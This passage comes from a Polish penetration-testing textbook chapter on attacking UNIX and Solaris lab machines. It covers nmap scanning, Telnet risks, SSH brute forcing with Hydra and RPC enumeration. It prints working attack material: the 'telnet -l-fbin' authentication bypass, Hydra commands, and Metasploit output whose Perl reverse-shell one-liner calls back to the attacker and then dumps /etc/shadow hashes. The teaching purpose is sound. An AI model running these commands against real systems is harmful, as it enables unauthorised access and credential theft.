Nmap scan report for 192.168.48.107
Host is up (0.00050s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
79/tcp open finger
111/tcp open rpcbind
513/tcp open login
514/tcp open shell
898/tcp open sun-manageconsole
4045/tcp open lockd
5987/tcp open wbem-rmi
5988/tcp open wbem-http
6000/tcp open X11
7100/tcp open font-service
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
32773/tcp open sometimes-rpc9
32774/tcp open sometimes-rpc11
32775/tcp open sometimes-rpc13
32776/tcp open sometimes-rpc15
32777/tcp open sometimes-rpc17
32778/tcp open sometimes-rpc19
32779/tcp open sometimes-rpc21
32783/tcp open unknown
MAC Address: 08:00:27:4D:A5:6B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 39.46 seconds

Z tego wydruku wcale nie wynika bezpośrednio, że mamy do czynienia z systemem UNIX. Jed-
nak po nabraniu pewnego doświadczenia zdołasz odróżnić jeden system od drugiego po przeana-
lizowaniu takiego domyślnego skanu portów. Wystarczy przejrzeć listę otwartych portów i działa-
jących na nich usług. Należy jednak ostrożnie przeprowadzać agresywne skanowanie portów na
serwerach uniksowych, ponieważ nie są one tak odporne jak dzisiejsze, nowoczesne systemy. Nie-
które systemy uniksowe korzystają ze starszych interfejsów, dlatego nieostrożne postępowanie z ta-
kimi systemami może spowodować awarie działających na nich usług, a nawet wyłączenie całych
systemów. Lepiej jest stosować delikatniejsze metody, na przykład takie jak poniższe polecenie:
nmap -sS -vv -n -Pn <AdresIP> -oN unix.txt -oX unix.xml -T2

To polecenie wykonuje skanowanie pakietami SYN (nie stosuje się tu skanowania połączeniami
TCP, którego używaliśmy wcześniej). Nie stosujemy tu zaawansowanych opcji, na przykład wyko-
rzystujących skrypty, ponieważ ten serwer może źle reagować na metody agresywnego skanowania.
Z tego samego powodu zmniejszyliśmy też szybkość wysyłania pakietów, używając do tego opcji -T.
Można też zastosować „tryb ręczny” i jeszcze wolniej przeprowadzić cały proces skanowania,
działając tak jak programem Nmap uruchomionym z opcją -A. Ta opcja włącza wykrywanie typu

3681988c430c7fe1e8567c4e2f281f7b
3
Telnet 329

systemu operacyjnego, numeru wersji, działających skryptów oraz używa mechanizmu traceroute.
Nie trzeba jednak wykonywać wszystkich tych działań jednocześnie. Można przeprowadzić je nie-
zależnie od siebie. Opcja -O uruchamia wykrywanie systemu operacyjnego, skrypty można urucha-
miać za pomocą opcji --script=<NazwaSkryptu>, numer wersji można wykrywać po włączeniu op-
cji -sV (to działanie może być wykonywane z różnym poziomem intensywności, ustalanym opcją
--version-intensity przyjmującą wartości od 0 do 9), natomiast używanie narzędzia traceroute
uruchamiane jest przez opcję --traceroute. Uruchomienie jednego skryptu Nmap w celu spraw-
dzenia pojedynczego portu nie powinno powodować problemów. Pamiętaj też, że możesz użyć
programu Netcat, aby połączyć się z kolejnymi portami i przeprowadzić na nich sondowanie zwią-
zane z określonym protokołem (tak samo jak robiliśmy to z protokołami SMTP i HTTP) i w ten
sposób pobierać komunikaty powitalne. Możesz też zmniejszyć ryzyko spowodowania awarii
sprawdzanego hosta i działających na nim usług, zmniejszając prędkość działania programu ska-
nującego za pomocą opcji -T.

Telnet
Implementację protokołu Telnet przygotowaną przez firmę Sun Microsystems można śmiało na-
zwać piętą achillesową systemu Solaris. Protokół opisywany w dokumencie RFC 854 został zapro-
jektowany tak, aby umożliwiać zdalnym użytkownikom logowanie się do danego komputera w celu
uzyskania dostępu do terminala. W samej idei takiego działania nie ma nic złego. Problem polega
na tym, że Telnet jest protokołem przesyłającym dane jawnym tekstem. Oznacza to, że dane logo-
wania użytkownika (jego nazwa i hasło), jak również wszystkie wprowadzane polecenia i odbierane
odpowiedzi są przesyłane przez sieć bez używania szyfrowania. Ten protokół nigdy nie miał być
używany w sieci innej niż wewnętrzna, „zaufana” sieć. Można jednak zadać sobie pytanie, czy taka
sieć w ogóle istnieje? Oprogramowanie do obsługi protokołu Telnet przygotowane przez firmę Sun
Microsystems tworzy na dodatek jeszcze kilka podatności, przez co całość jest zdecydowanie mało
bezpieczna. Jedna z tych podatności umożliwia zalogowanie jako anonimowy użytkownik, bez ko-
nieczności podania żadnych danych uwierzytelniających. Wkrótce zobaczysz, jak to działa.

Jeżeli dzisiaj zobaczysz usługę protokołu Telnet w jednym z systemów swojego

klienta, to natychmiast wpisz ją na listę podatności. Zamiast niego powinno się stosować
zabezpieczone protokoły, takie jak SSH (Secure Shell). Oczywiście protokół SSH wymaga
właściwej konfiguracji, aby mógł odpowiednio zabezpieczać połączenia, a domyślne insta-
lacje często mają braki w tym zakresie. W domyślnej konfiguracji możliwe jest zalogowanie
się do systemu jako użytkownik root przy użyciu jedynie hasła. Jeżeli takie hasło zostanie
przesłane przez jedną ze starszych implementacji protokołu SSH, taką jak SSHv1, to jest ono
równie słabo chronione jak hasło przesłane jawnym tekstem. Zaleca się zatem stosowanie
szyfrowania kluczem publicznym i wyłączenie możliwości zdalnego logowania użytkownika
root. Więcej informacji na temat protokołu SSH podamy w dalszej części tego rozdziału.

Usługa Telnet nasłuchuje domyślnie na porcie TCP 21. Jeżeli natkniesz się na tę usługę, to naj-
pierw musisz wypróbować w niej wszystkie nazwy użytkowników i hasła, jakie do tej pory udało
Ci się uzyskać. Możesz też wypróbować różne kombinacje tych nazw i haseł. Często okazuje się,

3681988c430c7fe1e8567c4e2f281f7b
3
330 Rozdział 10  UNIX

że usługę Telnet można uruchomić na nowoczesnych, domowych routerach (choć zwykle jest ona
domyślnie wyłączona). Co więcej, klient protokołu Telnet jest zapewne już zainstalowany w ma-
szynie wirtualnej Ubuntu (oraz w innych dystrybucjach Linuksa).
Aby uruchomić nasłuchiwanie przez demona Telnet w naszym słabo zabezpieczonym serwerze,
musisz zainstalować w nim pakiet telnetd (oraz pakiet xinetd, jeżeli nie jest już zainstalowany).
Podobnie jak w przypadku usługi TFTP, trzeba też utworzyć nowy plik o nazwie telnet, umieszcza-
jąc go w katalogu /etc/xinetd/. Do tego pliku wpisz poniższy tekst:
# default: on
# opis: Serwer Telnet obsługuje sesje protokołu Telnet; podczas uwierzytelniania
# stosuje niezaszyfrowane dane nazwy użytkownika i jego hasła.
service telnet
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
}

Następnie uruchom polecenie service xinetd restart. Jeżeli teraz przeskanujesz maszynę
wirtualną Ubuntu Server z systemu Kali Linux, to zobaczysz, że pojawił się w niej nowy otwarty
port. Użyj zatem klienta protokołu Telnet, uruchamiając go poleceniem telnet <AdresIP>. W efek-
cie zobaczysz komunikaty podobne do poniższych:
Trying 192.168.48.106...
Connected to 192.168.48.106.
Escape character is '^]'.
Ubuntu 18.04.2 LTS
ubuntu login:

Teraz możesz się zalogować, stosując wybraną nazwę użytkownika oraz hasło. Jeżeli dane uwie-
rzytelniające będą poprawne, to zobaczysz znak zachęty. Jeżeli uchwycisz wymianę pakietów zwią-
zaną z uwierzytelnianiem za pomocą programu Wireshark, to niekoniecznie musisz od razu zoba-
czyć istniejący w nich problem. Przyjrzyj się jednak pakietom, które zostały wysłane z systemu Kali
Linux do maszyny wirtualnej Ubuntu Server (możesz tu skorzystać z programu Wireshark lub
tcpdump). Z pewnością zauważysz, że nazwa użytkownika oraz hasło zostały przesłane jawnym
tekstem. Być może nie znajdują się w tym samym pakiecie, ale zostały rozrzucone pomiędzy wiele
pakietów, gdzie każdy z tych pakietów zawiera po jednej literze z nazwy użytkownika oraz hasła.
W ten sam sposób zobaczysz też treść wszystkich poleceń przesyłanych przez sieć oraz wszystkich
odpowiedzi ze strony serwera. Pozwala to na działanie takich narzędzi jak napisany przez Duga
Songa Dsniff (www.monkey.org/~dugsong/dsniff), którego można użyć do przechwytywania haseł
przesyłanych przez sieć za pomocą analizowania ruchu sieciowego niezabezpieczającego ważnych
danych za pomocą szyfrowania.
A teraz usiądź, zanim opowiemy o tym, co firma Sun Microsystems zrobiła ze swoją implementacją
protokołu Telnet, która była standardową częścią systemu Solaris. Jeżeli użyjesz programu Searchsploit
do wyszukiwania exploitów dla usługi Telnet systemu Solaris, to możesz połączyć go potokiem z pro-
gramem grep, aby odfiltrować wszystkie wyniki zawierające słowo „solaris”, tak jak poniżej:
searchsploit telnet | grep solaris

3681988c430c7fe1e8567c4e2f281f7b
3
Telnet 331

Oto wyniki takiego wyszukiwania (nie podajemy tutaj ścieżek do exploitów):

Solaris 10/11 Telnet - Remote Authentication Bypass (Metasploit)
Solaris 2.6/7/8 - 'TTYPROMPT in.telnet' Remote Authentication Bypass
Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (1) (Metasploit)
Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (2) (Metasploit)
Sun Solaris Telnet - Remote Authentication Bypass (Metasploit)
SunOS 5.10/5.11 in.TelnetD - Remote Authentication Bypass

Możesz też sprawdzić, co oferuje framework Metasploit, ale tak naprawdę jedynym narzędziem,
jakie będzie potrzebne do wykorzystania omawianej tu podatności jest klient protokołu Telnet.
Wspomniana podatność (CVE-2007-0882), znana czasami pod nazwę fbin lub froot, jest naprawdę
komiczna. Umożliwia ona atakującemu wprowadzenie dodatkowego parametru, który pozwala na
skuteczne zalogowanie się do systemu za pomocą narzędzia /bin/login. Wystarczy jedynie wpisać
polecenie telnet -l, a następnie zamiast podawać nazwę użytkownika, należy wpisać opcję -f razem
ze słowem bin: -fbin <AdresIP>. Całe polecenie wygląda zatem tak:
telnet -l-fbin <AdresIP>

Ta sztuczka nie zadziała na serwis Telnet działający w maszynie wirtualnej Ubuntu Server, ale
sprawdzi się świetnie w dostarczonej przez nas maszynie wirtualnej Solaris. Ten błąd występował
we wczesnych wersjach systemu Solaris 10 oraz w systemie Solaris 11. Za pomocą tego polecenia
próbujemy się zalogować jako użytkownik bin, a system zachowuje się dziwnie, przez co możliwe
jest całkowite pominięcie uwierzytelniania i uzyskanie dostępu do serwera.
root@kali:~# telnet -l-fbin 192.168.48.107
Trying 192.168.48.107...
Connected to 192.168.48.107.
Escape character is '^]'.
Last login: Mon Jul 8 12:54:25 from 192.168.48.102
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
$ id
uid=2(bin) gid=2(bin)

W wynikach podawanych przez polecenie id widać, że w ten sposób udało się nam zalogować
jako użytkownik bin. Można się zastanawiać, dlaczego od razu nie wpisaliśmy nazwy użytkownika
root, aby zalogować się z jego uprawnieniami? Przecież ta podatność nosi też nazwę froot. Cóż, to
małe nieporozumienie. Ten atak nie zadziała z użytkownikiem root, ale tylko dlatego, że (domyśl-
nie) nie jest możliwe zdalne logowanie się tego użytkownika (może się zalogować tylko przez lo-
kalne użycie polecenia su albo w ramach lokalnej konsoli). Z drugiej strony użytkownik bin mógł
być skutecznie wykorzystywany w niemal każdym systemie Solaris, jaki działał w tamtym czasie.
Czasami jednak administrator systemu zmieniał domyślne ustawienia, pozwalając na zdalne logo-
wanie użytkownika root. To właśnie dlatego niektórzy zgłaszali, że ten atak umożliwia też zalogo-
wanie się jako użytkownik root i to właśnie stąd wzięła się nazwa froot. Ta podatność należy do
klasy ataków wstrzykiwania poleceń (w tym przypadku chodzi o wstrzykiwanie parametrów), która
dostarcza parametry programowi login za pośrednictwem zmiennych środowiskowych. Pozwala
to na pominięcie uwierzytelniania za pomocą specjalnego polecenia wykorzystującego parametr -
f wymuszający zalogowanie w systemie.
CVE-2015-0014 jest podatnością związaną z implementacją protokołu Telnet przygotowaną
przez firmę Microsoft, która jest dostępna w wielu różnych wersjach systemów Windows, w tym
i w Windows Server oraz Windows 8. W tym przypadku błąd występuje w programie Microsoft

3681988c430c7fe1e8567c4e2f281f7b
3
332 Rozdział 10  UNIX

Telnet Server. Zgodnie z informacjami ze strony VilDB (https://vuldb.com) jak dotąd nie istnieje
publiczny exploit wykorzystujący tę podatność (trzeba jednak pamiętać, że opisująca ją strona nie
była aktualizowana od kilku lat).
Firma Hacker House opublikowała artykuł opisujący problemy z modyfikacją pamięci, jakie
występują w implementacjach klientów Telnetu dla systemów BSD (rodzaj systemów uniksowych
powstałych na uniwersytecie kalifornijskim w Berkeley), podając przy tym kod pozwalający na
przetestowanie tych błędów. W artykule omawiamy wiele różnych klientów protokołu Telnet,
w tym i te działające w systemie JuniperOS oraz Apple Sierra, ponieważ one również należą
do rodziny systemów BSD. Treść artykułu można znaleźć pod adresem: https://github.com/
hackerhouse-opensource/exploits/blob/master/inetutils-telnet.txt.
Kolejny artykuł napisany przez autorów tej książki pokazuje, jak można wykorzystać funkcje
protokołu Telnet, aby podnieść uprawnienia użytkownika w systemach RouterOS firmy Mikrotik.
Ten artykuł jest dostępny pod adresem https://github.com/hackerhouse-opensource/exploits/blob/
master/mikrotik-jailbreak.txt.
Ten exploit umożliwia każdemu, kto ma dostęp do urządzenia firmy Mikrotik, zdalne włącze-
nie powłoki z uprawnieniami użytkownika root, używając do tego funkcji protokołu Telnet prze-
znaczonej do debugowania. Według producenta ta funkcja została usunięta z oprogramowania
routerów w wersji 6.40.9.
Protokół Telnet i jego implementacje mają długą historię różnych podatności, która ciągnie się
aż do dzisiaj. Dostępność tego protokołu na badanym hoście sugeruje, że administratorzy nie dbają
o bezpieczeństwo systemu, co powinno zawsze skłaniać nas do dokładniejszego przyjrzenia się sys-
temowi z innej perspektywy.

Secure Shell
Zamiast protokołu Telnet należy używać protokołu Secure Shell (SSH), ponieważ jego aktualne
wersje są zdecydowanie lepiej zabezpieczone niż starszy protokół. Udało nam się dotrzeć do tego
miejsca w książce, nie analizując tego bardzo przydatnego i popularnego protokołu. SSH (opisany
w dokumencie RFC 4253) jest dzisiaj powszechnie używaną usługą, którą można spotkać zarówno
na publicznie dostępnych hostach (co akurat nie jest zalecane), jak i w wewnętrznych sieciach zbu-
dowanych z systemów uniksowych. Domyślnym portem używanym przez protokół SSH jest port
TCP 22. Administratorzy systemów lubią jednak przenosić go na porty o wyższych numerach.
Co prawda nie powstrzyma to zdeterminowanego hakera, ale w ograniczonym zakresie zabezpie-
cza przed atakami prowadzonymi za pomocą ogólnie dostępnego, złośliwego oprogramowania.
Ta zmiana może spowolnić działanie botów automatycznie przeprowadzających ataki siłowe na
usługę działającą na porcie 22, ale poza tym ma niewielką skuteczność. Protokół SSH stosuje szy-
frowanie asymetryczne, a przy zastosowaniu poprawnej konfiguracji uniemożliwia podsłuchiwanie
nazw użytkowników i haseł.
W tym rozdziale każdego, kto jeszcze nie konfigurował własnej usługi SSH, nauczymy kilku
podstawowych operacji. W większości dystrybucji domyślna konfiguracja nie jest najlepiej zabez-
pieczona. Zazwyczaj samo przygotowanie demona SSH do pracy nie jest trudne, a więcej czasu
i pracy zajmuje wygenerowanie kluczy szyfrujących i przekazanie ich do usługi. Nawet doświad-
czeni administratorzy potrafią skonfigurować usługę SSH umożliwiającą zdalne zalogowanie

3681988c430c7fe1e8567c4e2f281f7b
3
Secure Shell 333

użytkownika root albo używającą wspólnego klucza hosta. Jeżeli te błędy połączyć z niedostatecznie
silnym hasłem użytkownika root, to mamy prosty przepis na poważne problemy!
Jeżeli prowadzisz test penetracyjny dla klienta i systematycznie analizujesz różne porty i usługi,
to z pewnością natkniesz się też na usługę SSH. To bardzo ważne, żeby sprawdzać wtedy, czy w takim
hoście nie są używane starsze wersje zarówno protokołu, jak i jego implementacji. Dobrze jest też
skontrolować, czy usługa umożliwia logowanie przez podanie wyłącznie nazwy użytkownika i ha-
sła. W starszych wersjach protokołu SSH (przed wersją 2.0) znaleźć można kilka poważnych błę-
dów. Istnieją opcje protokołu, którym można przypisać wartość none, co wyłącza szyfrowanie (takie
działanie wykazują routery firmy Mikrotik) i zmusza protokół do przesyłania danych jawnym tek-
stem. Większość ataków typu man-in-the-middle wykorzystuje funkcje starszych wersji protokołu
albo stara się zmniejszyć zabezpieczenia stosowane przy przesyłaniu danych. I choć wartość none
w opcjach szyfrowania stosowana przez firmę Mikrotik jest bardzo niebezpieczna, to jednak nadal
nie wiadomo, jak wykorzystać tę funkcję w wersjach niższych niż 2.0 bez bezpośredniego dostępu
do konfiguracji klienta.
Jedną z metod wykonania wspomnianych wyżej kontroli jest próba połączenia się z usługą za
pomocą klienta SSH, tak jak poniżej:
ssh -l root -X -v <AdresIP>

Dzięki zastosowaniu tych opcji włączamy funkcję debugowania, która powoduje wyświetlanie
dodatkowych informacji mogących pomóc nam w nawiązaniu połączenia. Jakie mechanizmy uwie-
rzytelniania są używane przez tę usługę? Jeżeli wymaga podania jedynie nazwy użytkownika i hasła,
to można spróbować je siłowo odgadnąć! Nasza usługa wykorzystuje metodę uwierzytelniania
o nazwie „keyboard-interactive”. W lepiej zabezpieczonych środowiskach ta metoda powinna być
wyłączona, a zamiast niej należy stosować uwierzytelnianie kluczem publicznym, co będzie dodat-
kową przeszkodą dla hakera. Oznacza to, że do przejęcia konta użytkownika trzeba wykraść jego
hasło oraz specjalny plik (klucz). Łącząc się z portem usługi za pomocą programu Netcat, zwykle
zobaczysz też numer wersji protokołu stosowanej przez serwer. Ta informacja wyświetlana jest
w komunikacie powitalnym i może mieć na przykład postać „SSH-2.0-OpenSSH_8.0”.
Jeżeli natkniesz się na serwis SSH chroniony jedynie za pomocą hasła, to możesz użyć programu
Hydra, aby metodami siłowymi uzyskać dostęp do tego serwisu. Oto przykład:
hydra -l użytkownik -P listahasel.txt ssh://<AdresIP>

Możesz też spróbować użyć interaktywnej wersji programu Hydra, którą można uruchomić za
pomocą polecenia hydra-wizard. W poniższym wydruku można zobaczyć wyniki, jakie uzyskali-
śmy za pomocą tej wersji programu. Program prosi o podanie używanego protokołu (w tym przy-
padku ssh), jak również adresu IP i nazwy użytkownika (podaliśmy admin) oraz hasła (również
admin). Na poniższym wydruku te informacje zostały wyróżnione (pozostałe dane pozostały w nie-
zmienionej formie). Aby siłowo uzyskać dostęp do usługi, należy podać programowi plik z hasłami
(oraz z nazwami użytkowników, jeżeli chcemy wypróbować kilka kont) i nie ograniczać się do po-
jedynczego słowa admin. Możesz tutaj wykorzystać listy słów dostępne w systemie Kali Linux
(/usr/share/wordlists/). Zanim program Hydra przystąpi do ataku, wyświetla polecenie, które ma
zamiar wykonać (w tym przypadku jest to hydra -l admin -p admin -u 192.168.48.101 ssh),
i prosi o potwierdzenie chęci uruchomienia ataku.

3681988c430c7fe1e8567c4e2f281f7b
3
334 Rozdział 10  UNIX

Welcome to the Hydra Wizard

Enter the service to attack (eg: ftp, ssh, http-post-form): ssh

Enter the target to attack (or filename with targets): 192.168.56.101
Enter a username to test or a filename: admin
Enter a password to test or a filename: admin
If you want to test for passwords (s)ame as login, (n)ull or (r)everse
login, enter these letters without spaces (e.g. "sr") or leave empty
otherwise:
Port number (press enter for default):

The following options are supported by the service module:

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or
secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra ) starting at

2020-01-08 15:59:49
Help for module ssh:
========================================================================
The Module ssh does not need or support optional parameters

If you want to add module options, enter them here (or leave empty):

The following command will be executed now:

hydra -l admin -p admin -u 192.168.48.101 ssh

Do you want to run the command now? [Y/n]

Programowi Hydra podajemy w parametrach nazwę użytkownika,

plik z hasłami oraz dane atakowanej usługi. Pamiętaj jednak, że taki atak może powodo-
wać blokowanie kont, dlatego w rzeczywistych zastosowaniach należy używać go bardzo
ostrożnie! Najlepiej zawsze zaczynać atak od próby siłowego przejęcia pojedynczego
konta i przedyskutowania tego z klientem, aby mieć pewność, że nasz test nie doprowa-
dzi do przerw w pracy.

RPC
Jeżeli wrócimy do skanu portów wykonanego wcześniej w ramach demonstracji hosta z systemem
Solaris 10, to za usługami SSH, Telnet i Finger zobaczymy pozycję rpcbind, o której mówiliśmy już
w poprzednim rozdziale. Firma Sun Microsystems bardzo przyczyniła się do rozwoju protokołu
ONC RPC. Jak wspominaliśmy w poprzednim rozdziale, protokoły RPC używane są nie tylko do
przesyłania plików. Na przykład program Rusers podaje informacje o użytkownikach zalogowa-
nych aktualnie na zdalnym komputerze.
Przyjrzyjmy się teraz kilku dodatkowym funkcjom i problemom związanym z protokołami
RPC. Jeżeli użyjemy programu RPCinfo, wskazując mu jeden z hostów (ten program można zain-
stalować w systemie Kali Linux za pomocą polecenia apt install rpcbind), to uzyskamy dane
wielu działających programów, z których część nie będzie miała żadnej nazwy, co widać na poniż-
szym wydruku:

3681988c430c7fe1e8567c4e2f281f7b
3
RPC 335

program vers proto port service

100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 32772 status
100024 1 tcp 32771 status
100133 1 udp 32772
100133 1 tcp 32771
100021 1 udp 4045 nlockmgr
100021 2 udp 4045 nlockmgr
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100021 1 tcp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100021 3 tcp 4045 nlockmgr
100021 4 tcp 4045 nlockmgr
100229 1 tcp 32772
100229 2 tcp 32772
100422 1 tcp 32773
100242 1 tcp 32774
100230 1 tcp 32775
100001 2 udp 32773 rstatd
100001 3 udp 32773 rstatd
100001 4 udp 32773 rstatd
100002 2 tcp 32776 rusersd
100002 3 tcp 32776 rusersd
100002 2 udp 32774 rusersd
100002 3 udp 32774 rusersd
100011 1 udp 32775 rquotad
100083 1 tcp 32777
100068 2 udp 32776
100068 3 udp 32776
100068 4 udp 32776
100068 5 udp 32776
300598 1 udp 32779
300598 1 tcp 32787
805306368 1 udp 32779
805306368 1 tcp 32787
100249 1 udp 32780
100249 1 tcp 32788
100028 1 tcp 32791 ypupdated
100028 1 udp 32784 ypupdated

Musisz tutaj wyszukać numery programów, które jeszcze nie otrzymały nazwy, aby sprawdzić,
z jakim programem mamy do czynienia. Dzięki temu będzie można poszukać podatności istnieją-
cych w takim programie. Jedna z metod sprawdzania numerów programów polega na przejrzeniu
zawartości dodatku C dokumentu RFC 5531 (https://tools.ietf.org/html/rfc5531#page-27).
Na razie przyjrzyjmy się jednak programom, które na powyższym wydruku mają przypisaną
nazwę. Na początek sprawdźmy program rusersd. Można do niego wysyłać zapytania za pomocą
polecenia rusers <AdresIP>, oczywiście przy założeniu, że mamy już zainstalowany program klienta
(apt install rusers). W ten sposób otrzymamy listę klientów aktualnie zalogowanych do bada-
nego systemu, taką jak poniższa:
192.168.48.107 helpdesk

3681988c430c7fe1e8567c4e2f281f7b
3
336 Rozdział 10  UNIX

Przedstawione wcześniej wyniki skanowania programem Nmap zawierały pewną grupę serwi-
sów oznaczonych nazwą sometimes-rpc uzupełnioną pewną liczbą. Poniżej jeszcze raz prezentu-
jemy tę część wyników:
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
32773/tcp open sometimes-rpc9
32774/tcp open sometimes-rpc11
32775/tcp open sometimes-rpc13
32776/tcp open sometimes-rpc15
32777/tcp open sometimes-rpc17
32778/tcp open sometimes-rpc19
32779/tcp open sometimes-rpc21
32783/tcp open unknown

Program Nmap nie ma pewności, czy rzeczywiście chodzi tu o usługi RPC. Ten sam numer
portu pojawia się też w wynikach pracy programu RPCinfo, który jest w stanie określić, że mamy
do czynienia z usługą RPC. Podczas komunikacji z takimi usługami trzeba się upewnić, że korzystamy
z właściwej wersji programu oraz odpowiedniego portu UDP lub TCP, ponieważ usługi RPC mogą
wykorzystywać oba te protokoły. Istnieje też wiele różnych programów oraz ich wersji, które mogą być
używane w celu zachowania zgodności z wieloma różnymi systemami i starszymi urządzeniami.
Jeżeli w programie Searchsploit uruchomisz wyszukiwanie dla słów Solaris RPC, to w odpowie-
dzi otrzymasz sporo różnych exploitów, które działają nie tylko w systemie Solaris, ale i w innych
systemach uniksowych. Oto część wyników zwracanych przez program Searchsploit:
Caldera OpenUnix 8.0/UnixWare 7.1.1 / HP HP-UX 11.0 / Solaris 7.0 /
SunOS 4.1.4 - rpc.cmsd Buffer Overflow (1)
Caldera OpenUnix 8.0/UnixWare 7.1.1 / HP HP-UX 11.0 / Solaris 7.0 /
SunOS 4.1.4 - rpc.cmsd Buffer Overflow (2)
HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 /
SunOS 4.1 - 'rpc.ypupdated’ Command Execution (1)
HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 /
SunOS 4.1 - 'rpc.ypupdated’ Command Execution (2)
OpenServer 5.0.5/5.0.6 / HP-UX 10/11 / Solaris 2.6/7.0/8 - rpc.yppasswdd
Buffer Overrun
Sun Solaris 10 - 'rpc.ypupdated' Remote Code Execution
Sun Solaris 10 - rpc.ypupdated Remote Code Execution (Metasploit)
Sun Solaris 10 RPC dmispd - Denial of Service
Sun Solaris 2.5.1 - rpc.statd rpc Call Relaying
Sun Solaris 7.0 - rpc.ttdbserver Denial of Service
Sun Solaris 9 - RPC Request Denial of Service

Jeżeli uruchomisz wyszukiwanie wyłącznie dla słowa RPC, to znajdziesz jeszcze więcej exploitów,
z których wiele będzie działało w systemach uniksowych. Teraz przyjrzyjmy się kilku podatnościom
i exploitom istniejącym w systemie Solaris i związanym z usługami RPC.

CVE-2010-4435
Na początku listy zwróconej przez program Seachsploit znajdują się dwa exploity: rpc.cmds Buffer
Overflow (1) oraz rpc.cmds Buffer Overflow (2). Są to dwa niezależne exploity napisane w języku
C, które wykorzystują błąd CVE-2010-4435. W tym przypadku podatnym programem jest Calen-
dar Manager Service Daemon, czyli program RPC o numerze 100068. Zawarty w nim błąd należy

3681988c430c7fe1e8567c4e2f281f7b
3
RPC 337

do kategorii przepełnienia bufora i umożliwia atakującemu wstrzyknięcie kodu do procesu działa-

jącego właśnie na zdalnym komputerze, a w efekcie uzyskanie dostępu do konta użytkownika root.
Tym błędem dotkniętych było wiele różnych platform uniksowych, w tym również Solaris, IBM
AIX i HP-UX (implementacja Uniksa powstała w firmie Hewlett-Packard). We frameworku Me-
tasploit istnieje specjalny exploit wykorzystujący ten błąd w systemie AIX. Istnieje też plik exploitu
o nazwie cmsex, co niemal na pewno jest skrótem od słów Calendar Manager Service Exploit. Jest
to jeden z exploitów będących częścią wycieku danych z agencji NSA TAO (Tailored Access Ope-
rations), którego można używać do włamywania się na usługi kalendarzowe działające w różnych
systemach operacyjnych. W tamtym czasie ta podatność była bardzo rozpowszechniona. Nawet
dzisiaj, jeżeli znajdziesz zdalny serwer z działającą usługą RPC, to może być to wersja z podatnością
przepełnienia bufora, którą daje się wykorzystać do uzyskania dostępu.

CVE-1999-0209
Na liście zwróconej przez program Searchsploit widoczny jest też exploit 'rpc.ypupdated' Remote
Code Execution wykorzystujący błąd CVE-1999-0209, który został znaleziony w oprogramowaniu
Yellow Pages Update Daemon (ypupdated), czyli starym serwisie katalogowania użytkowników.
Dzisiaj natknięcie się na tę usługę jest już praktycznie niemożliwe (wyjątkiem mogą być domeny
.edu), ale na przełomie wieków można było atakować tę usługę, aby uzyskać hasła oraz inne przy-
datne informacje. Sam exploit umożliwia wstrzykiwanie poleceń na zdalny host (serwer uniksowy)
i wykonywanie ich z uprawnieniami użytkownika root. Oto przykład jego działania jako modułu
Metasploit w połączeniu z payloadem cmd/unix/reverse_perl.
[*] Started reverse TCP handler on 192.168.48.102:4444
[*] 192.168.48.107:111 - Sending PortMap request for ypupdated program
[*] 192.168.48.107:111 - Sending MAP UPDATE request with command 'perl
-MIO -e ' $p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/
(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.56.102
:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/)
{system $1;}};''
[*] 192.168.48.107:111 - Waiting for response...
[*] 192.168.48.107:111 - No Errors, appears to have succeeded!
[*] Command shell session 1 opened (192.168.48.102:4444 ->
192.168.48.107:32809) at 2019-06-27 12:23:07 +0100

id
uid=0(root) gid=0(root)
cat /etc/shadow
root:s07b67iPl7g2c:17218::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
smmsp:NP:6445::::::
listen:*LK*:::::::
gdm:*LK*:::::::
webservd:*LK*:::::::
nobody:*LK*:6445::::::

3681988c430c7fe1e8567c4e2f281f7b
3
338 Rozdział 10  UNIX

noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
helpdesk:wqUMdBFaIrIp.:17217::::::
billg:oCr6DcAXEYEF6:17218::::::
petek:b3mPSr48vTOKU:17218::::::
cliffh:Vr2iLpW/oisMo:17218::::::

Jeżeli przyjrzysz się danym wypisywanym przez ten moduł, to zobaczysz, że wysyła on do pro-
gramu ypupdated żądanie typu PortMap, co pozwala na rozpoczęcie komunikacji z serwisem.
Następnie wysyłane jest żądanie typu MAP UPDATE z dołączonym kodem w języku Pearl (na wydruku
został wyróżniony), który zostaje uruchomiony na zdalnym systemie i łączy się z naszym systemem
Kali Linux, udostępniając nam powłokę. Uruchamiane jest też polecenie id, a w kolejnym kroku
wypisywana jest zawartość pliku /etc/shadow. W tym przykładzie widać, że podobnie jak jest
w przypadku innych serwisów, tak i w usługach RPC pojawiają się proste błędy umożliwiające
zdalne wykonywanie kodu.

CVE-2017-3623
Znacznie nowszą podatnością jest ta oznaczona CVE-2017-3623, znana też pod nazwą XDR RPC
overflow. Ta podatność jest szczególnie interesująca, ponieważ może wpływać na działanie dowol-
nego serwisu ONC RPC działającego w systemie Solaris. Wynika to z faktu, że błąd nie znajduje się
